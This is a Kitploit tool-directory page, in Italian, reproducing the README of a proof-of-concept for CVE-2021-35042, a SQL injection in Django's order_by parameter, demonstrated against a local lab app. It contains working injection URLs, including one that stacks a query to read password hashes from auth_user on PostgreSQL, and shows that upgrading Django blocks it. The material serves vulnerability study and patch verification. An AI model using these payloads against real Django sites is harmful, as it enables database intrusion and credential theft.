Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2021-35042 — Interattivo proof-of-concept che dimostra l'iniezione SQL in Django (CVE-2021-35042) con sfruttamento passo-passo contro database SQLite e PostgreSQL. | Kitploit
Strumenti/GitHubGitHub/r4vi/cve-2021-35042
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingApprendimento e FormazioneSicurezza dei Database
GitHubr4vi/cve-2021-35042

CVE-2021-35042

Interattivo proof-of-concept che dimostra l'iniezione SQL in Django (CVE-2021-35042) con sfruttamento passo-passo contro database SQLite e PostgreSQL.

Vedi Repository
514 anni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2021-35042

Bug di SQL injection in Django

Domanda: esploriamo quanto è sfruttabile?

Risposta: sono terrorizzato

Installazione

poetry install

poetry run ./manage.py migrate

poetry run ./manage.py loaddata dummydata.json

Demo interattiva

poetry run ./manage.py runserver

Ordinamento per campi casuali

vai su http://localhost:8000/?order_by=%22core_things_tags%22.%22things_id%22 nota che il parametro ?order_by sta passando un riferimento SQL grezzo a una colonna "core_things_tags"."things_id"

termina la prima query e prova a eseguire un po' di SQL

Questo sembra più o meno il massimo che si possa ottenere: http://localhost:8000/?order_by=%22core_things_tags%22.%22things_id%22%20and%201);%20select%201%20as%20name%20;-- che chiude la prima query SQL e si traduce nel seguente SQL:

root@kitploit:~
SELECT "core_things"."id",
       "core_things"."name",
       COUNT("core_things_tags"."tag_id") AS "num_tags"
FROM "core_things"
         LEFT OUTER JOIN "core_things_tags" ON ("core_things"."id" =
                                                "core_things_tags"."things_id")
GROUP BY "core_things"."id", "core_things"."name",
         ("core_things_tags"."things_id" and 1);
select 1 as name;--) ORDER BY ("core_things_tags"."things_id" and 1); select 1 as name ;--) ASC LIMIT 21; args=()

che fallisce con:

root@kitploit:~
Warning at /
You can only execute one statement at a time.

questo è semplicemente perché sqlite può eseguire solo 1 query alla volta

rivediamo l'esecuzione della seconda query con postgres

root@kitploit:~
export DJANGO_DATABASE_URL=postgres://user:pass@localhost:5432/cve-2021-35042 # make this a valid DATABASE_URL for your own postgres server

poetry run ./manage.py migrate

poetry run ./manage.py loaddata dummydata.json

poetry run ./manage.py createsuperuser # follow prompts

visita: http://localhost:8000/?order_by=%22core_things_tags%22.%22things_id%22%20);%20SELECT%201%20as%20id,%20%22password%22as%20name,%201%20as%20num_tags%20from%20%22auth_user%22;--

che esegue il seguente SQL:

root@kitploit:~
SELECT "core_things"."id",
       "core_things"."name",
       COUNT("core_things_tags"."tag_id") AS "num_tags"
FROM "core_things"
         LEFT OUTER JOIN "core_things_tags" ON ("core_things"."id" =
                                                "core_things_tags"."things_id")
GROUP BY "core_things"."id", ("core_things_tags"."things_id");
SELECT 1 as id, "password" as name, 1 as num_tags
from "auth_user";--) ORDER BY ("core_things_tags"."things_id" ); SELECT 1 as id, "password"as name, 1 as num_tags from "auth_user";--) ASC;

ora puoi fare praticamente qualsiasi cosa. Questa query ruba l'hash della password di ogni utente.

Aggiorna alla versione non vulnerabile

ora aggiorna temporaneamente django

poetry shell

pip install Django==3.2.5

rivisita l'URL sopra e nota che non funziona più:

root@kitploit:~
FieldError at /
Cannot resolve keyword '"core_things_tags"."things_id"' into field. Choices are: id, name, num_tags, tags
Scarica lo strumento